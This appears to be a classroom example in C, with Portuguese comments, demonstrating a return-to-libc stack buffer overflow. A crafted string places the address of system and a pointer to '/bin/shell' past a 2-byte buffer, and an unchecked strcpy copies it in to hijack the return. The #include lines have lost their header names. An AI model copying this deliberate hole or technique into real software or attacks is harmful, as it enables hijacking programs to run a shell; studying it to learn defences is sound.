#include #include #include /* String que serĂ¡ utilizada como entrada. */ char entrada[50]; char *shell = "/bin/shell"; void prepara_entrada() { int *aux = (int*) &entrada[26]; char **aux2; int i; for (i = 0; i < 26; i++) entrada[i] = 'a'; *aux = (int) system; aux = (int*) &entrada[30]; *aux = (int) 0; aux2 = (char**) &entrada[34]; *aux2 = shell; } void chamada() { int v[3]; char buffer[2]; prepara_entrada(); strcpy(buffer, entrada); printf("%s\n", buffer); } int main() { chamada(); printf("Eu fui executada! :-)\n"); return 0; }